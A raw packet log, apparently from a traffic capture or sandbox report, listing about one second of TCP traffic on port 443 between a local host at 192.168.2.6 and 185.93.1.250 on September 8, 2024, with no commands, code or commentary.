Sep 8, 2024 09:53:46.295104027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.295116901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.295172930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.295490980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.295505047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.295556068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.295569897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.295603991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.296395063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.296412945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.296492100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.296492100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.296495914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.296638966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.296704054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.296717882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.296768904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.296773911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.296833992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.301664114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.301677942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.301820040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.301826000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.301865101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.303874016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.303885937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.303951979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.303956032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.303991079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.303991079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.381429911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381460905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381524086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.381534100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381571054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.381654978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.381794930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381808996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381892920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.381897926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381956100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381958008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.381966114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.381992102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.382008076 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.382013083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.382040024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.382103920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.382370949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.382385015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.382487059 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.382491112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.382561922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.383709908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.383723974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.383858919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.383865118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.384032011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.384123087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.384138107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.384186983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.384191036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.384226084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.388712883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.388726950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.388855934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.388860941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.388914108 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.391042948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.391060114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.391196966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.391202927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.391315937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.480966091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.480988979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481024981 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481035948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481075048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481075048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481172085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481185913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481221914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481229067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481268883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481293917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481375933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481388092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481451035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481456995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481515884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.481914043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.481929064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482064009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482069969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482141018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482141972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482151031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482171059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482208967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482227087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482227087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482234001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482280970 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482320070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482856989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482870102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482953072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482955933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.482963085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.482979059 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.483004093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.483016968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.483048916 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.533967018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.566782951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.566804886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.566951990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.566962004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.566984892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567007065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567101002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567106009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567131042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567131042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567157030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567292929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567306042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567364931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567364931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567369938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567564011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567579031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567583084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567594051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567625046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567657948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567699909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567714930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567768097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567768097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567769051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567776918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567820072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567856073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567863941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567869902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.567898989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.567898989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.568517923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.568533897 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.568581104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.568584919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.568615913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.568778038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.568794012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.568820000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.568830967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.568864107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.568864107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654103994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654126883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654176950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654185057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654223919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654223919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654299974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654340029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654393911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654393911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654401064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654454947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654525995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654531956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654587030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654738903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654755116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654818058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654820919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.654831886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.654859066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655024052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655040026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655087948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655092001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655124903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655466080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655479908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655544043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655549049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655558109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655601025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655730009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655742884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655791998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655806065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655814886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.655881882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.655881882 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.656451941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.656466961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.656518936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.656523943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.705965996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.740973949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741003990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741063118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741075039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741147995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741235971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741250992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741305113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741311073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741343021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741513968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741527081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741580009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741585016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.741628885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741893053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.741983891 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742000103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742043018 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.742057085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742094040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.742419958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742435932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742471933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.742476940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742486954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742508888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742536068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.742536068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.742542982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.742582083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.742582083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.743029118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.743051052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.743118048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.743128061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.743190050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.743316889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.743333101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.743403912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.743403912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.743408918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.743769884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828114986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828136921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828200102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828207016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828258991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828258991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828345060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828358889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828432083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828432083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828437090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828526020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828672886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828685999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.828808069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.828819990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829025984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829045057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829072952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829072952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829077959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829134941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829134941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829332113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829345942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829497099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829500914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829560995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829880953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829894066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829946995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.829958916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.829993010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.830173969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.830188036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.830235958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.830246925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.830326080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.830677032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.830689907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.830754995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.830759048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.830809116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.915306091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.915329933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.915410995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.915417910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.915498972 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.915541887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.915559053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.915658951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.915663004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.915832996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.916016102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916033030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916229963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.916234970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916364908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.916444063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916459084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916503906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.916512966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916544914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.916568995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916584969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916665077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.916670084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.916979074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917156935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917171001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917243958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917244911 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917249918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917402983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917448044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917464018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917536974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917536974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917541027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917603016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917766094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917778969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917824984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917835951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:46.917881966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:46.917881966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003272057 CEST	443	49710	185.93.1.250	192.168.2.6
